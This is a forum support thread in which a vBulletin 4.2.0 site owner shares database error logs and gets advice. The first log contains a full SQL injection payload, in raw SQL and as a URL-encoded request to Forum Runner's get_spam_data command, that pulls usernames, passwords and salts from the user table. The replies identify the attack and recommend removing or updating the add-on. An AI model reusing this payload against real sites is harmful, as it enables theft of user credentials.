Databse Error receive daily

[tanzeelniazi]

Hi all again here
some time i found these data base errors, i think some one trying to hack ?? m right ?

Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
                        thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
                FROM post AS post
                LEFT JOIN thread AS thread USING (threadid)
                WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (userid > 10000 and userid < 12000) and(0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--);

MySQL Error   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number  : 1064
Request Date  : Friday, October 13th 2017 @ 09:23:43 AM
Error Date    : Friday, October 13th 2017 @ 09:23:43 AM
Script        : http://www.xxxxxxxxx.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(user)where%20(userid%20%3E%2010000%20and%20userid%20%3C%2012000)%20and(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--
Referrer      :
IP Address    : 1**.1**.2**.**
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :

Mostly i receive daily these types of error

Database error in vBulletin 4.2.0:

Invalid SQL:

                 SELECT
                         count(*) as maxre
                 FROM tagthread
                 GROUP BY tagid
                 ORDER BY maxre DESC
                 LIMIT 0,1;

MySQL Error   : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Friday, October 13th 2017 @ 02:07:45 AM
Error Date    : Friday, October 13th 2017 @ 02:07:46 AM
Script        : http://www.xxxxxxxxxxxxxx.com/cron.php?rand=1507860459
Referrer      : https://www.xxxxxxxxxxxxxx.com/forum.php
IP Address    : 1**.1**.*9.1**
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :

--------------- Added [DATE]1507913371[/DATE] at [TIME]1507913371[/TIME] ---------------

Some time these daily receive with new thread id

Database error in vBulletin 4.2.0:

Invalid SQL:

                 SELECT
                         count(*) as maxre
                 FROM tagthread
                 GROUP BY tagid
                 ORDER BY maxre DESC
                 LIMIT 0,1;

MySQL Error   : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Thursday, October 12th 2017 @ 02:06:31 AM
Error Date    : Thursday, October 12th 2017 @ 02:06:31 AM
Script        : http://www.xxxxxxxxxxx.com/cron.php?rand=1507773989
Referrer      : https://www.xxxxxxxxxxxx.com/showthread.php?64592-*****-x3&p=915921&posted=1
IP Address    : 1**.**8.**.*7
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :

[Dave]

First one is SQL injection, delete your forumrunner folder as soon as possible or update it right away to the latest version or your whole server can get compromised (if not already).

As for the tagthread table, I don't think this comes with the vBulletin installation by default so it's probably one of your plugins that's broken.

[tanzeelniazi]

I remove forumrunner folder thanks bro also can you tell me which plugin is broken ?

[Dave]

Hard to tell, go through your plugins that are related to thread tags and disable it.
Alternatively you can go to the scheduled tasks/cronjob page in the AdminCP and disable it.